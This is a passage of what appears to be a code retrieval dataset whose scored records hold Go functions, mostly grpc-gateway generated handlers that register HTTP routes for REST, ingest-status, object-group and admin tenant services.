local_request_Restful_Create_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Restful_Create_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_Restful_Create_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/Bussiness.Service.Restful.Restful/Create\", runtime.WithHTTPPathPattern(\"/v2/resource/{ID}/{Sex}/{Content}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Restful_Create_1(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Restful_Create_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Restful_Get_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/Bussiness.Service.Restful.Restful/Get\", runtime.WithHTTPPathPattern(\"/v1/resource/{ID}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Restful_Get_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Restful_Get_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Restful_List_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/Bussiness.Service.Restful.Restful/List\", runtime.WithHTTPPathPattern(\"/v1/resource/list\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Restful_List_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Restful_List_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_Restful_Update_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/Bussiness.Service.Restful.Restful/Update\", runtime.WithHTTPPathPattern(\"/v1/resource\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Restful_Update_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Restful_Update_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_Restful_Replace_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/Bussiness.Service.Restful.Restful/Replace\", runtime.WithHTTPPathPattern(\"/v1/resource\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Restful_Replace_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Restful_Replace_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_Restful_Delete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/Bussiness.Service.Restful.Restful/Delete\", runtime.WithHTTPPathPattern(\"/v1/resource/{ID}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Restful_Delete_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Restful_Delete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "9fbfebbcde10b97f90b7669d0d18b90c", "score": "0.62357765", "text": "func RegisterIngestStatusServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server IngestStatusServiceServer) error {\n\n\tmux.Handle(\"GET\", pattern_IngestStatusService_GetHealth_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_IngestStatusService_GetHealth_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_IngestStatusService_GetHealth_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_IngestStatusService_GetMigrationStatus_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_IngestStatusService_GetMigrationStatus_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_IngestStatusService_GetMigrationStatus_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "f77ab5d1e76bfb2f53767e6bf8e2e10d", "score": "0.62207305", "text": "func RegisterManagementServiceHandler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error {\n\treturn RegisterManagementServiceHandlerClient(ctx, mux, NewManagementServiceClient(conn))\n}", "title": "" }, { "docid": "ec73e1202d3e79ab5d805e913b23e95e", "score": "0.62070686", "text": "func RegisterRegistryServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterRegistryServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "e6287166fd464c17db9e6beba94e5360", "score": "0.62018746", "text": "func (s *Server) RegisterServices(_ *grpc.Server) {}", "title": "" }, { "docid": "fa147b248248a1c61014fddd02506c1b", "score": "0.6173514", "text": "func (a *Agent) RegisterHandlers(s *runtime.ServeMux, conn *grpc.ClientConn) {\n}", "title": "" }, { "docid": "3081efad768ece16549a6b2bd00b3c24", "score": "0.6167245", "text": "func RegisterHandlers(router interface {\n\tCONNECT(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tDELETE(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tGET(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tHEAD(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tOPTIONS(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tPATCH(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tPOST(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tPUT(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tTRACE(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n}, si ServerInterface) {\n\n\twrapper := ServerInterfaceWrapper{\n\t\tHandler: si,\n\t}\n\n\trouter.GET(\"/hello\", wrapper.Hello)\n\trouter.POST(\"/image\", wrapper.Img)\n\trouter.GET(\"/path/:name\", wrapper.HelloPath)\n\trouter.POST(\"/upload\", wrapper.Nameupload)\n\n}", "title": "" }, { "docid": "966ffca2144565e92611395a78035899", "score": "0.61672163", "text": "func RegisterObjectsServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server ObjectsServiceServer) error {\n\n\tmux.Handle(\"POST\", pattern_ObjectsService_CreateDatsetObjectGroup_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ObjectsService_CreateDatsetObjectGroup_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ObjectsService_CreateDatsetObjectGroup_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ObjectsService_DatasetObjectsGroups_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ObjectsService_DatasetObjectsGroups_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ObjectsService_DatasetObjectsGroups_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ObjectsService_DatasetVersionObjectGroups_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ObjectsService_DatasetVersionObjectGroups_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ObjectsService_DatasetVersionObjectGroups_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ObjectsService_GetDatasetObjectGroup_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ObjectsService_GetDatasetObjectGroup_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ObjectsService_GetDatasetObjectGroup_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ObjectsService_DeleteDatasetObjectGroup_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ObjectsService_DeleteDatasetObjectGroup_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ObjectsService_DeleteDatasetObjectGroup_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "925f6fce0f177c060ba8c1ef971c538d", "score": "0.615123", "text": "func (js *JoinServer) RegisterHandlers(s *runtime.ServeMux, conn *grpc.ClientConn) {\n\tttnpb.RegisterJsEndDeviceRegistryHandler(js.Context(), s, conn)\n}", "title": "" }, { "docid": "9b9fa080bfb7404e13bf886bc43e66fc", "score": "0.6150924", "text": "func RegisterAdminV1ServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server AdminV1ServiceServer) error {\n\n\tmux.Handle(\"POST\", pattern_AdminV1Service_CreateAssetPresignedURL_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/rapid.admin_api.v1.AdminV1Service/CreateAssetPresignedURL\", runtime.WithHTTPPathPattern(\"/admin/v1/assets/-/presigned_url\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AdminV1Service_CreateAssetPresignedURL_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AdminV1Service_CreateAssetPresignedURL_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_AdminV1Service_GetTenant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/rapid.admin_api.v1.AdminV1Service/GetTenant\", runtime.WithHTTPPathPattern(\"/admin/v1/tenants/{tenant_id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AdminV1Service_GetTenant_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AdminV1Service_GetTenant_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_AdminV1Service_ListTenants_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/rapid.admin_api.v1.AdminV1Service/ListTenants\", runtime.WithHTTPPathPattern(\"/admin/v1/tenants\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AdminV1Service_ListTenants_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AdminV1Service_ListTenants_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_AdminV1Service_CreateTenant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/rapid.admin_api.v1.AdminV1Service/CreateTenant\", runtime.WithHTTPPathPattern(\"/admin/v1/tenants\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AdminV1Service_CreateTenant_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AdminV1Service_CreateTenant_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_AdminV1Service_UpdateTenant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/rapid.admin_api.v1.AdminV1Service/UpdateTenant\", runtime.WithHTTPPathPattern(\"/admin/v1/tenants/{tenant_id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AdminV1Service_UpdateTenant_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AdminV1Service_UpdateTenant_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_AdminV1Service_DeleteTenant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/rapid.admin_api.v1.AdminV1Service/DeleteTenant\", runtime.WithHTTPPathPattern(\"/admin/v1/tenants/{tenant_id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AdminV1Service_DeleteTenant_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AdminV1Service_DeleteTenant_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_AdminV1Service_CreateStaff_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/rapid.admin_api.v1.AdminV1Service/CreateStaff\", runtime.WithHTTPPathPattern(\"/admin/v1/staffs\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, 